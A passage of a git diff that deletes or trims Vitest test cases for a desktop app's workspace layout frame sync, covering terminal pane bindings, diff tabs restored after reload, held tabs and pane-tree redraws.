-    expect(statuses.at(-1)).toEqual({ state: 'closed' })
-    await vi.advanceTimersByTimeAsync(60_000)
-    expect(host.streams).toHaveLength(2)
-  })
-})
diff --git a/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-binding.test.ts b/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-binding.test.ts
index 867b1b757a1..b5d2ae70d7f 100644
--- a/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-binding.test.ts
+++ b/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-binding.test.ts
@@ -16,10 +16,9 @@ import {
 import { bootWindowFromPartitions } from '../../../app-shell/startup-window-view.test-fixture'
 import { createStoreSessionMockApi } from '../../../store/testing/app-store-session-api.test-fixture'
 import { createTestStore } from '../../../store/testing/app-store-test-fixture'
-import type { LayoutFrameSlices } from '../../../store/workspace-layout/frames/workspace-layout-frame-slices'
 import { endLayoutFramePositions } from './layout-frame-position'
 import { holdTabPaneTree } from '../intents/layout-owner-pane-tree-holds'
-import { holdDrawnTabs } from '../intents/layout-owner-drawn-tab-holds'
+import '../intents/layout-owner-drawn-tab-holds'
 import { openWorkspaceLayoutFrameSync } from './workspace-layout-frame-sync'
 import { installLayoutFrameApplyCheck } from '../testing/workspace-layout-frame-apply-check.test-fixture'
 import { mainLayoutFrameSender } from '../testing/main-loaded-layout-frames.test-fixture'
@@ -46,21 +45,6 @@ vi.mock('./runtime-layout-client', () => ({
 
 createStoreSessionMockApi()
 
-const SLICES: (keyof LayoutFrameSlices)[] = [
-  'tabsByWorktree',
-  'terminalLayoutsByTabId',
-  'activeTabIdByWorktree',
-  'unifiedTabsByWorktree',
-  'groupsByWorktree',
-  'activeGroupIdByWorktree',
-  'layoutByWorktree',
-  'openFiles',
-  'activeFileIdByWorktree',
-  'browserTabsByWorktree',
-  'activeBrowserTabIdByWorktree',
-  'activeTabTypeByWorktree'
-]
-
 const settle = () => new Promise<void>((resolve) => setTimeout(resolve, 0))
 
 function publishedOf(session: WorkspaceSessionState): PublishedWorkspaceLayout {
@@ -108,19 +92,6 @@ async function boot() {
   return { store, sync, first, send }
 }
 
-/** What a rebuild shows for these frames: a second snapshot redraws every workspace. */
-async function rebuiltState(frames: PublishedWorkspaceLayout[]) {
-  const { store, sync, send } = await boot()
-  for (const frame of frames) {
-    await send(frame, true)
-  }
-  sync.close()
-  return store.getState()
-}
-
-const slicesOf = (state: Record<string, unknown>) =>
-  Object.fromEntries(SLICES.map((slice) => [slice, state[slice]]))
-
 let check: ReturnType<typeof installLayoutFrameApplyCheck>
 beforeEach(() => {
   check = installLayoutFrameApplyCheck()
@@ -132,39 +103,6 @@ afterEach(() => {
 })
 
 describe('a frame that changes only panes’ terminal bindings', () => {
-  // A respawn of a gone process: its pane is unbound, then bound again.
-  it.each([
-    ['unbinds a pane', [[leaf(1), undefined]]],
-    [
-      'unbinds then binds the same id again',
-      [
-        [leaf(1), undefined],
-        [leaf(1), `${GIT_KEY}@@aaaa0001`]
-      ]
-    ],
-    ['binds a new id', [[leaf(1), 'pty-fresh']]],
-    ['unbinds the focused pane of a split', [[leaf(2), undefined]]]
-  ] as const)('%s exactly as a rebuild shows it, without one', async (_, steps) => {
-    const { store, sync, first, send } = await boot()
-    const frames: PublishedWorkspaceLayout[] = []
-    let frame = first
-    for (const [leafId, ptyId] of steps) {
-      frame = rebound(frame, 'tab-shell', leafId, ptyId)
-      frames.push(frame)
-      await send(frame)
-    }
-    const shown = store.getState()
-    sync.close()
-
-    expect([...check.fullBuilt, ...check.workspaceBuilt]).toEqual([])
-    const rebuilt = await rebuiltState(frames)
-    expect(check.fullBuilt).not.toEqual([])
-    expect(slicesOf(shown)).toEqual(slicesOf(rebuilt))
-    // Presence: the binding the frame names is the store's.
-    const [leafId, ptyId] = steps.at(-1)!
-    expect(shown.terminalLayoutsByTabId['tab-shell']!.ptyIdsByLeafId?.[leafId]).toBe(ptyId)
-  })
-
   it('keeps a tab the window’s own pane command holds as the store has it, then shows its binding', async () => {
     const { store, sync, first, send } = await boot()
     const before = store.getState().terminalLayoutsByTabId['tab-shell']
@@ -181,62 +119,4 @@ describe('a frame that changes only panes’ terminal bindings', () => {
     )
     sync.close()
   })
-
-  it('keeps a tab the window drew before main answered as the store has it, then shows its binding', async () => {
-    const { store, sync, first, send } = await boot()
-    const before = store.getState().terminalLayoutsByTabId['tab-shell']
-    const release = holdDrawnTabs([{ workspace: GIT_KEY, ids: ['tab-shell'] }])
-
-    await send(rebound(first, 'tab-shell', leaf(1), 'pty-fresh'))
-
-    expect(store.getState().terminalLayoutsByTabId['tab-shell']).toBe(before)
-    release()
-    await settle()
-    // Released, the tab shows the binding main wrote meanwhile.
-    expect(store.getState().terminalLayoutsByTabId['tab-shell']!.ptyIdsByLeafId?.[leaf(1)]).toBe(
-      'pty-fresh'
-    )
-    sync.close()
-  })
-})
-
-/** The frame with one pane's start status set, or cleared when `status` is absent. */
-function started(
-  layout: PublishedWorkspaceLayout,
-  leafId: string,
-  status?: 'starting' | 'failed',
-  reason?: string
-): PublishedWorkspaceLayout {
-  const next = structuredClone(layout)
-  const pane = next.tabs
-    .find((tab) => tab.entityId === 'tab-shell')!
-    .terminal!.panes.find((candidate) => candidate.leafId === leafId)!
-  delete pane.status
-  delete pane.statusReason
-  if (status) {
-    pane.status = status
-  }
-  if (reason) {
-    pane.statusReason = reason
-  }
-  return next
-}
-
-describe('a frame that changes only a pane’s start status', () => {
-  it('drops the status once main binds the pane', async () => {
-    const { store, sync, first, send } = await boot()
-    const unbound = rebound(first, 'tab-shell', leaf(1), undefined)
-    await send(started(unbound, leaf(1), 'starting'))
-    expect(Object.keys(store.getState().terminalPaneStartsByPaneKey)).toEqual([
-      `tab-shell:${leaf(1)}`
-    ])
-
-    await send(rebound(unbound, 'tab-shell', leaf(1), 'pty-fresh'))
-
-    expect(store.getState().terminalPaneStartsByPaneKey).toEqual({})
-    expect(store.getState().terminalLayoutsByTabId['tab-shell']!.ptyIdsByLeafId?.[leaf(1)]).toBe(
-      'pty-fresh'
-    )
-    sync.close()
-  })
 })
diff --git a/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-editor-views.test.ts b/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-editor-views.test.ts
deleted file mode 100644
index 61abea3ed1a..00000000000
--- a/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-editor-views.test.ts
+++ /dev/null
@@ -1,138 +0,0 @@
-// Frame views reconstruct main-owned diff tabs after window reload, from both records frames and initial snapshots.
-
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import type { LayoutEditorView } from '../../../../../shared/workspace-layout/layout-editor-view'
-import { applyLayoutCommand } from '../../../../../shared/workspace-layout/workspace-layout-commands'
-import type { CommandOf } from '../../../../../shared/workspace-layout/workspace-layout-command-types'
-import { testContext } from '../../../../../shared/workspace-layout/workspace-layout-command.test-fixture'
-import type { WorkspaceLayoutModel } from '../../../../../shared/workspace-layout/workspace-layout-model'
-import { localDesktopSession } from '../../../../../shared/workspace-layout/workspace-layout-profile.test-fixture'
-import type { WorkspaceLayoutChangeFrame } from '../../../../../shared/workspace-layout/workspace-layout-stream-frames'
-import { GIT_KEY } from '../../../../../shared/workspace-layout/workspace-layout-session.test-fixture'
-import { bootWindowFromPartitions } from '../../../app-shell/startup-window-view.test-fixture'
-import { openFileOfLayoutEditorView } from '../../../store/slices/editor/tabs/open-file-layout-view'
-import { createStoreSessionMockApi } from '../../../store/testing/app-store-session-api.test-fixture'
-import { createTestStore } from '../../../store/testing/app-store-test-fixture'
-import { endLayoutFramePositions } from './layout-frame-position'
-import {
-  loadMainLayoutModel,
-  mainLayoutFrameSender,
-  publishedLayoutsOf
-} from '../testing/main-loaded-layout-frames.test-fixture'
-import { installLayoutFrameApplyCheck } from '../testing/workspace-layout-frame-apply-check.test-fixture'
-import { openWorkspaceLayoutFrameSync } from './workspace-layout-frame-sync'
-
-vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return { ...actual, detectAgentStatusFromTitle: vi.fn().mockReturnValue(null) }
-})
-
-const stream = vi.hoisted(
-  (): { onFrame: ((frame: WorkspaceLayoutChangeFrame) => void) | null } => ({ onFrame: null })
-)
-vi.mock('./runtime-layout-client', () => ({
-  subscribeRuntimeLayout: (
-    _target: unknown,
-    _params: unknown,
-    onFrame: (frame: WorkspaceLayoutChangeFrame) => void
-  ) => {
-    stream.onFrame = onFrame
-    return { close: () => {} }
-  }
-}))
-
-createStoreSessionMockApi()
-
-const settle = () => new Promise<void>((resolve) => setTimeout(resolve, 0))
-
-const DIFF_ID = `${GIT_KEY}::diff::unstaged::src/app.ts`
-const VIEW: LayoutEditorView = {
-  view: { mode: 'diff', diffSource: 'unstaged' },
-  file: {
-    filePath: '/Users/dev/orca/src/app.ts',
-    relativePath: 'src/app.ts',
-    language: 'typescript'
-  }
-}
-
-const openDiff = (view?: LayoutEditorView): CommandOf<'openEditorTab'> => ({
-  type: 'openEditorTab',
-  workspace: GIT_KEY,
-  tabId: DIFF_ID,
-  fileId: DIFF_ID,
-  contentType: 'diff',
-  groupId: 'group-a',
-  ...(view ? { view } : {})
-})
-
-function applied(model: WorkspaceLayoutModel, command: CommandOf<'openEditorTab'>) {
-  const result = applyLayoutCommand(model, command, testContext())
-  if (!result.ok) {
-    throw new Error(`main refused ${command.type}: ${result.code}`)
-  }
-  return result.model
-}
-
-/** A window restored from its own session, shown from main's snapshot of `model`. */
-async function boot(model = loadMainLayoutModel('local', localDesktopSession())) {
-  const store = createTestStore()
-  await bootWindowFromPartitions(store, [{ hostId: 'local', session: localDesktopSession() }])
-  // Precondition: the window's restore holds no diff, as after a reload.
-  expect(store.getState().openFiles.some((file) => file.id === DIFF_ID)).toBe(false)
-  const sync = openWorkspaceLayoutFrameSync(store)
-  const frames = mainLayoutFrameSender()
-  let shown = model
-  stream.onFrame!(frames.snapshot(publishedLayoutsOf(shown)))
-  sync.start()
-  await settle()
-  const apply = async (command: CommandOf<'openEditorTab'>): Promise<void> => {
-    shown = applied(shown, command)
-    stream.onFrame!(frames.records(GIT_KEY, publishedLayoutsOf(shown)[GIT_KEY]!))
-    await settle()
-  }
-  return { store, apply, close: () => sync.close() }
-}
-
-const diffTabs = (store: Awaited<ReturnType<typeof boot>>['store']) =>
-  (store.getState().unifiedTabsByWorktree[GIT_KEY] ?? []).filter((tab) => tab.entityId === DIFF_ID)
-
-const REBUILT = openFileOfLayoutEditorView(VIEW, { entityId: DIFF_ID, worktreeId: GIT_KEY })
-
-let check: ReturnType<typeof installLayoutFrameApplyCheck>
-beforeEach(() => {
-  check = installLayoutFrameApplyCheck()
-})
-afterEach(() => {
-  endLayoutFramePositions()
-  check.uninstall()
-  expect(check.failures).toEqual([])
-})
-
-describe('a diff tab main publishes with its view', () => {
-  it('draws from a records frame and rebuilds the open file the window lacks', async () => {
-    const { store, apply, close } = await boot()
-    check.forgetBuilds()
-
-    await apply(openDiff(VIEW))
-
-    expect(check.fullBuilt).toEqual([])
-    expect(check.workspaceBuilt).toEqual([GIT_KEY])
-    expect(diffTabs(store)).toHaveLength(1)
-    expect(store.getState().openFiles.filter((file) => file.id === DIFF_ID)).toEqual([REBUILT])
-    close()
-  })
-
-  it('shows after a reload, from the snapshot alone', async () => {
-    const main = applied(loadMainLayoutModel('local', localDesktopSession()), openDiff(VIEW))
-
-    const { store, close } = await boot(main)
-
-    expect(check.fullBuilt).toContain(GIT_KEY)
-    expect(diffTabs(store)).toHaveLength(1)
-    expect(store.getState().groupsByWorktree[GIT_KEY]![0]!.tabOrder).toContain(DIFF_ID)
-    expect(store.getState().openFiles.filter((file) => file.id === DIFF_ID)).toEqual([REBUILT])
-    close()
-  })
-})
diff --git a/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-held-tabs.test.ts b/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-held-tabs.test.ts
index fefdd3de4d8..78053bbf140 100644
--- a/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-held-tabs.test.ts
+++ b/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-held-tabs.test.ts
@@ -1,6 +1,5 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import type { Tab } from '../../../../../shared/tab-types'
 import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types'
 import type { LayoutApplyReply } from '../../../../../shared/workspace-layout/workspace-layout-command-types'
 import { loadWorkspaceLayoutWithoutReport } from '../../../../../shared/workspace-layout/workspace-layout-load'
@@ -17,15 +16,10 @@ import { bootWindowFromPartitions } from '../../../app-shell/startup-window-view
 import { buildWorkspaceSessionPayload } from '../../../lib/workspace/persistence/workspace-session'
 import { createStoreSessionMockApi } from '../../../store/testing/app-store-session-api.test-fixture'
 import { createTestStore } from '../../../store/testing/app-store-test-fixture'
-import { withLayoutOwnerTabProps } from '@/components/tab-bar/tab-bar-layout-owner-props'
 import { endLayoutFramePositions } from './layout-frame-position'
 import { openWorkspaceLayoutFrameSync } from './workspace-layout-frame-sync'
 import { installLayoutFrameApplyCheck } from '../testing/workspace-layout-frame-apply-check.test-fixture'
 import { mainLayoutFrameSender } from '../testing/main-loaded-layout-frames.test-fixture'
-import {
-  getRuntimeMobileSessionSyncKey,
-  runtimeMobileSessionSyncKeysEqual
-} from '../../sync-runtime-graph/sync-key'
 
 vi.mock('../../../../../shared/layout-owner-switch', () => ({ ORCA_LAYOUT_OWNER_IS_MAIN: true }))
 vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
@@ -133,58 +127,11 @@ async function boot() {
 
 const okReply: LayoutApplyReply = { ok: true, result: {} }
 
-/** Counts the store writes that change one slice: main's frame is one, a window re-apply another. */
-function writesOf<T>(
-  store: ReturnType<typeof createTestStore>,
-  pick: (state: ReturnType<ReturnType<typeof createTestStore>['getState']>) => T
-) {
-  let count = 0
-  const stop = store.subscribe((state, previous) => {
-    if (pick(state) !== pick(previous)) {
-      count += 1
-    }
-  })
-  return { count: () => count, stop }
-}
-
 const tabBar = (store: ReturnType<typeof createTestStore>) =>
   store.getState().unifiedTabsByWorktree[GIT_KEY]!.map((tab) => tab.id)
 const groupOrder = (store: ReturnType<typeof createTestStore>, groupId: string) =>
   store.getState().groupsByWorktree[GIT_KEY]!.find((group) => group.id === groupId)?.tabOrder
 
-/** Draws a tab as the window's open does, before its recorder tells main. */
-function drawTab(
-  store: ReturnType<typeof createTestStore>,
-  tab: Partial<Tab> & { id: string }
-): Tab {
-  const drawn: Tab = {
-    entityId: tab.id,
-    groupId: 'group-b',
-    worktreeId: GIT_KEY,
-    contentType: 'simulator',
-    label: tab.id,
-    customLabel: null,
-    color: null,
-    sortOrder: 9,
-    createdAt: 1_700_000_900_000,
-    ...tab
-  }
-  const state = store.getState()
-  store.setState({
-    unifiedTabsByWorktree: {
-      ...state.unifiedTabsByWorktree,
-      [GIT_KEY]: [...state.unifiedTabsByWorktree[GIT_KEY]!, drawn]
-    },
-    groupsByWorktree: {
-      ...state.groupsByWorktree,
-      [GIT_KEY]: state.groupsByWorktree[GIT_KEY]!.map((group) =>
-        group.id === drawn.groupId ? { ...group, tabOrder: [...group.tabOrder, drawn.id] } : group
-      )
-    }
-  })
-  return drawn
-}
-
 let check: ReturnType<typeof installLayoutFrameApplyCheck>
 beforeEach(() => {
   rpc.calls = []
@@ -198,22 +145,6 @@ afterEach(() => {
 })
 
 describe('a tab the window drew, closed or moved, with a frame from before main had it', () => {
-  it('keeps a just-created terminal tab, then shows main’s copy', async () => {
-    const { store, sync, before, answer } = await boot()
-    const tab = store.getState().createTab(GIT_KEY)
-    expect(rpc.calls[0]!.command).toMatchObject({ type: 'createTerminalTab', tabId: tab.id })
-
-    sendStaleFrame(before)
-    await settle()
-    expect(tabBar(store)).toContain(tab.id)
-    expect(store.getState().tabsByWorktree[GIT_KEY]!.map((row) => row.id)).toContain(tab.id)
-    expect(store.getState().terminalLayoutsByTabId[tab.id]).toBeDefined()
-
-    await answer(0)
-    expect(tabBar(store)).toContain(tab.id)
-    sync.close()
-  })
-
   it('keeps a just-closed terminal tab closed', async () => {
     const { store, sync, before, answer } = await boot()
     store.getState().closeTab('tab-unbound')
@@ -233,27 +164,6 @@ describe('a tab the window drew, closed or moved, with a frame from before main
     sync.close()
   })
 
-  // Browser, chat and simulator opens draw from main's frame alone: content-tabs-from-main-frames.test.ts.
-
-  it('keeps a reorder the window made, and main’s order for the rest', async () => {
-    const { store, sync, before, answer } = await boot()
-    const order = groupOrder(store, 'group-a')!
-    const reordered = order.toReversed()
-    store.getState().reorderUnifiedTabs('group-a', reordered)
-    const moves = rpc.calls.filter((call) => call.command.type === 'moveTab')
-    expect(moves.length).toBeGreaterThan(0)
-
-    sendStaleFrame(before)
-    await settle()
-    expect(groupOrder(store, 'group-a')).toEqual(reordered)
-
-    for (let index = 0; index < rpc.calls.length; index += 1) {
-      await answer(index)
-    }
-    expect(groupOrder(store, 'group-a')).toEqual(reordered)
-    sync.close()
-  })
-
   it.each([
     ['refuses it', (call: Call) => call.answer({ ok: false, code: 'wsl_move_in_progress' })],
     ['throws', (call: Call) => call.fail(new Error('layout_store_unavailable'))]
@@ -277,110 +187,3 @@ describe('a tab the window drew, closed or moved, with a frame from before main
     sync.close()
   })
 })
-
-describe('a change main applies first, with frames flowing', () => {
-  const callsOf = (type: string) => rpc.calls.filter((call) => call.command.type === type)
-
-  it('pins a preview tab and promotes it once; only main’s frame ends the preview', async () => {
-    const { store, sync, answer } = await boot()
-    const file = {
-      ...store.getState().openFiles[0]!,
-      id: '/Users/dev/orca/src/peek.ts',
-      filePath: '/Users/dev/orca/src/peek.ts',
-      relativePath: 'src/peek.ts',
-      isPreview: true
-    }
-    store.setState({ openFiles: [...store.getState().openFiles, file] })
-    const tab = drawTab(store, {
-      id: 'editor:peek',
-      entityId: file.id,
-      contentType: 'editor',
-      isPreview: true
-    })
-    seq += 1
-    stream.onFrame!(
-      frames.records(GIT_KEY, publishedOf(buildWorkspaceSessionPayload(store.getState())), seq)
-    )
-    stream.onPosition!(seq)
-    await settle()
-    const entry = () =>
-      store.getState().unifiedTabsByWorktree[GIT_KEY]!.find((item) => item.id === tab.id)!
-
-    const windowPin = vi.fn((tabId: string) => store.getState().pinFile(file.id, tabId))
-    withLayoutOwnerTabProps(
-      {
-        togglePinned: (item) => windowPin(item.unifiedTabId),
-        makePreviewFilePermanent: (fileId, tabId) =>
-          store.getState().makePreviewFilePermanent(fileId, tabId)
-      },
-      () => GIT_KEY
-    ).togglePinned({ unifiedTabId: tab.id, isPinned: false, type: 'editor', data: { id: file.id } })
-    const pin = rpc.calls.length - 1
-    expect(rpc.calls[pin]!.command).toMatchObject({ type: 'setTabProps', isPinned: true })
-    await answer(pin, okReply, (layout) => {
-      layout.tabs.find((item) => item.id === tab.id)!.isPinned = true
-    })
-    expect(windowPin).not.toHaveBeenCalled()
-    expect(callsOf('promotePreviewTab')).toHaveLength(1)
-    expect(entry()).toMatchObject({ isPinned: true, isPreview: true })
-
-    await answer(rpc.calls.indexOf(callsOf('promotePreviewTab')[0]!), okReply, (layout) => {
-      delete layout.tabs.find((item) => item.id === tab.id)!.isPreview
-    })
-    expect(entry()).toMatchObject({ isPinned: true })
-    expect(entry().isPreview).toBeFalsy()
-    expect(callsOf('promotePreviewTab')).toHaveLength(1)
-    sync.close()
-  })
-
-  it('runs a view toggle’s bookkeeping once, after main’s frame shows the toggle', async () => {
-    const { store, sync, answer } = await boot()
-    store.getState().toggleTabViewMode('tab-agent')
-    const toggle = rpc.calls.length - 1
-    expect(rpc.calls[toggle]!.command).toMatchObject({ type: 'setTabProps', viewMode: 'terminal' })
-    const writes = writesOf(store, (state) => state.unifiedTabsByWorktree)
-
-    await answer(toggle, okReply, (layout) => {
-      layout.tabs.find((item) => item.id === 'tab-agent')!.viewMode = 'terminal'
-    })
-    writes.stop()
-    expect(writes.count()).toBe(1)
-    const agent = () =>
-      store.getState().unifiedTabsByWorktree[GIT_KEY]!.find((item) => item.id === 'tab-agent')!
-    expect(agent().viewMode).toBe('terminal')
-    expect(effects.mirrorViewMode).not.toHaveBeenCalled()
-    expect(effects.chatToggled).toHaveBeenCalledTimes(1)
-    expect(effects.chatToggled).toHaveBeenCalledWith(
-      expect.objectContaining({ from: 'chat', to: 'terminal' })
-    )
-
-    // The answered send is settled: the next toggle flips from what is shown, back to chat.
-    store.getState().toggleTabViewMode('tab-agent')
-    expect(rpc.calls.at(-1)!.command).toMatchObject({ type: 'setTabProps', viewMode: 'chat' })
-    sync.close()
-  })
-
-  it('shows main’s rename from its frame alone, without the window writing it again', async () => {
-    const { store, sync, answer } = await boot()
-    store.getState().setTabCustomTitle('tab-unbound', 'Build')
-    const rename = rpc.calls.length - 1
-    const writes = writesOf(store, (state) => state.tabsByWorktree)
-    const graphBefore = getRuntimeMobileSessionSyncKey(store.getState())
-
-    await answer(rename, okReply, (layout) => {
-      layout.tabs.find((item) => item.id === 'tab-unbound')!.customTitle = 'Build'
-    })
-    const row = store.getState().tabsByWorktree[GIT_KEY]!.find((item) => item.id === 'tab-unbound')!
-    expect(row.customTitle).toBe('Build')
-    expect(writes.count()).toBe(1)
-    // The frame's write changes what the phone graph publishes, so useRuntimeGraphSync republishes.
-    expect(
-      runtimeMobileSessionSyncKeysEqual(
-        getRuntimeMobileSessionSyncKey(store.getState()),
-        graphBefore
-      )
-    ).toBe(false)
-    writes.stop()
-    sync.close()
-  })
-})
diff --git a/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-sync.test.ts b/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-sync.test.ts
index 501b0448a41..e8af92d858e 100644
--- a/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-sync.test.ts
+++ b/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-sync.test.ts
@@ -2,30 +2,17 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
 import type { ExecutionHostId } from '../../../../../shared/execution-host'
 import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types'
-import { LEGACY_WORKSPACE_LAYOUT_PROFILES } from '../../../../../shared/workspace-layout/workspace-layout-legacy-profile.test-fixture'
-import {
-  localDesktopSession,
-  WORKSPACE_LAYOUT_PROFILES
-} from '../../../../../shared/workspace-layout/workspace-layout-profile.test-fixture'
+import { localDesktopSession } from '../../../../../shared/workspace-layout/workspace-layout-profile.test-fixture'
 import type { WorkspaceLayoutChangeFrame } from '../../../../../shared/workspace-layout/workspace-layout-stream-frames'
-import {
-  emptySession,
-  GIT_KEY
-} from '../../../../../shared/workspace-layout/workspace-layout-session.test-fixture'
+import { GIT_KEY } from '../../../../../shared/workspace-layout/workspace-layout-session.test-fixture'
 import '../../../store/slices/editor/file-ids/editor-file-ids'
 import { bootWindowFromPartitions } from '../../../app-shell/startup-window-view.test-fixture'
 import { createStoreSessionMockApi } from '../../../store/testing/app-store-session-api.test-fixture'
 import { createTestStore } from '../../../store/testing/app-store-test-fixture'
-import type { LayoutFrameSlices } from '../../../store/workspace-layout/frames/workspace-layout-frame-slices'
-import {
-  afterLayoutFrame,
-  endLayoutFramePositions,
-  layoutFramesFlowing
-} from './layout-frame-position'
-import { holdTabPaneTree, requestTabPaneTreeRedraw } from '../intents/layout-owner-pane-tree-holds'
+import { afterLayoutFrame, endLayoutFramePositions } from './layout-frame-position'
+import { requestTabPaneTreeRedraw } from '../intents/layout-owner-pane-tree-holds'
 import { openWorkspaceLayoutFrameSync } from './workspace-layout-frame-sync'
 import {
-  layoutSnapshotFrame,
   mainLayoutFrameSender,
   mainLoadedLayouts
 } from '../testing/main-loaded-layout-frames.test-fixture'
@@ -66,25 +53,6 @@ vi.mock('./runtime-layout-client', () => ({
 
 createStoreSessionMockApi()
 
-const SLICES: (keyof LayoutFrameSlices)[] = [
-  'tabsByWorktree',
-  'terminalLayoutsByTabId',
-  'activeTabIdByWorktree',
-  'unifiedTabsByWorktree',
-  'groupsByWorktree',
-  'activeGroupIdByWorktree',
-  'layoutByWorktree',
-  'openFiles',
-  'editorDrafts',
-  'markdownFrontmatterVisible',
-  'activeFileIdByWorktree',
-  'browserTabsByWorktree',
-  'browserPagesByWorkspace',
-  'remoteBrowserPageHandlesByPageId',
-  'activeBrowserTabIdByWorktree',
-  'activeTabTypeByWorktree'
-]
-
 const flushMicrotasks = () => new Promise<void>((resolve) => setTimeout(resolve, 0))
 
 async function bootWithFrames(hostId: ExecutionHostId, session: WorkspaceSessionState) {
@@ -97,22 +65,6 @@ async function bootWithFrames(hostId: ExecutionHostId, session: WorkspaceSession
   return { store, sync, layouts, frames }
 }
 
-/** Fixtures whose frames differ from the restore, as the frame parity test lists. */
-const FRAME_DIFFERENCE_FIXTURES = new Set([
-  'row without a tab-bar entry or a terminal',
-  'row without a tab-bar entry or a terminal, selected',
-  'row without a tab-bar entry, its terminal in a workspace slept at shutdown',
-  'row without a tab-bar entry, its terminal only on a relay',
-  'row without a tab-bar entry, with a sleeping agent',
-  'row bound only through its pane, without a tab-bar entry',
-  'legacy surface tombstone on a pane still showing its terminal',
-  'tab-bar label differing from the row title',
-  'row without a tab-bar entry, still bound to a terminal',
-  'legacy split row sharing one pane’s terminal with a tab-bar tab',
-  'session from before the tab bar, with an open file',
-  'session from before the tab bar, a row with no terminal'
-])
-
 let check: ReturnType<typeof installLayoutFrameApplyCheck>
 beforeEach(() => {
   check = installLayoutFrameApplyCheck()
@@ -124,36 +76,6 @@ afterEach(() => {
 })
 
 describe('the window drawn from layout frames', () => {
-  it.each(
-    [...WORKSPACE_LAYOUT_PROFILES, ...LEGACY_WORKSPACE_LAYOUT_PROFILES]
-      .filter((profile) => !FRAME_DIFFERENCE_FIXTURES.has(profile.name))
-      .map((profile) => [profile.name, profile] as const)
-  )('startup from the first snapshot changes nothing restore showed: %s', async (_, profile) => {
-    const store = createTestStore()
-    await bootWindowFromPartitions(store, [{ hostId: profile.hostId, session: profile.build() }])
-    const before = store.getState()
-    const sync = openWorkspaceLayoutFrameSync(store)
-    stream.onFrame!(layoutSnapshotFrame(mainLoadedLayouts(profile.hostId, profile.build())))
-    sync.start()
-    const after = store.getState()
-    expect(SLICES.filter((slice) => after[slice] !== before[slice])).toEqual([])
-    sync.close()
-  })
-
-  it('keeps the window’s pane remount generation through a structure frame: it is the window’s', async () => {
-    const { store, sync, layouts, frames } = await bootWithFrames('local', localDesktopSession())
-    sync.start()
-    store.getState().remountTerminalTabForRecovery('tab-shell')
-    const renamed = structuredClone(layouts[GIT_KEY]!)
-    renamed.tabs.find((tab) => tab.id === 'tab-shell')!.customTitle = 'renamed'
-    stream.onFrame!(frames.records(GIT_KEY, renamed))
-    await flushMicrotasks()
-    expect(
-      store.getState().tabsByWorktree[GIT_KEY]!.find((tab) => tab.id === 'tab-shell')
-    ).toMatchObject({ customTitle: 'renamed', generation: 1 })
-    sync.close()
-  })
-
   it('runs a reply waiting on a frame after the store shows it, and every waiter when the stream ends', async () => {
     const { store, sync, layouts, frames } = await bootWithFrames('local', localDesktopSession())
     sync.start()
@@ -186,56 +108,6 @@ describe('the window drawn from layout frames', () => {
     sync.close()
   })
 
-  it('shows main’s pane tree at once, except a tab the window’s own pane command holds', async () => {
-    const { store, sync, layouts, frames } = await bootWithFrames('local', localDesktopSession())
-    sync.start()
-    const shellRoot = () => store.getState().terminalLayoutsByTabId['tab-shell']!.root
-    const withRatio = (ratio: number) => {
-      const next = structuredClone(layouts[GIT_KEY]!)
-      const root = next.tabs.find((tab) => tab.id === 'tab-shell')!.terminal!.root!
-      if (root.type === 'split') {
-        root.ratio = ratio
-      }
-      return next
-    }
-    expect(shellRoot()?.type).toBe('split')
-
-    stream.onFrame!(frames.records(GIT_KEY, withRatio(0.2)))
-    await flushMicrotasks()
-    expect(shellRoot()).toMatchObject({ ratio: 0.2 })
-
-    const release = holdTabPaneTree('tab-shell')
-    stream.onFrame!(frames.records(GIT_KEY, withRatio(0.7)))
-    await flushMicrotasks()
-    expect(shellRoot()).toMatchObject({ ratio: 0.2 })
-
-    release()
-    await flushMicrotasks()
-    expect(shellRoot()).toMatchObject({ ratio: 0.7 })
-    sync.close()
-  })
-
-  it('shows main’s pane tree going back to one the window showed before', async () => {
-    const { store, sync, layouts, frames } = await bootWithFrames('local', localDesktopSession())
-    sync.start()
-    const shellRoot = () => store.getState().terminalLayoutsByTabId['tab-shell']!.root
-    const original = shellRoot()
-    const changed = structuredClone(layouts[GIT_KEY]!)
-    const root = changed.tabs.find((tab) => tab.id === 'tab-shell')!.terminal!.root!
-    if (root.type === 'split') {
-      root.ratio = 0.15
-    }
-    stream.onFrame!(frames.records(GIT_KEY, changed))
-    await flushMicrotasks()
-    expect(shellRoot()).toMatchObject({ ratio: 0.15 })
-
-    // Same structure as the frame shown before: its pane tree still shows.
-    stream.onFrame!(frames.records(GIT_KEY, structuredClone(layouts[GIT_KEY]!)))
-    await flushMicrotasks()
-    expect(shellRoot()).toEqual(original)
-    sync.close()
-  })
-
   it('keeps the window’s own pane trees once the stream has ended', async () => {
     const { store, sync, layouts, frames } = await bootWithFrames('local', localDesktopSession())
     sync.start()
@@ -257,70 +129,4 @@ describe('the window drawn from layout frames', () => {
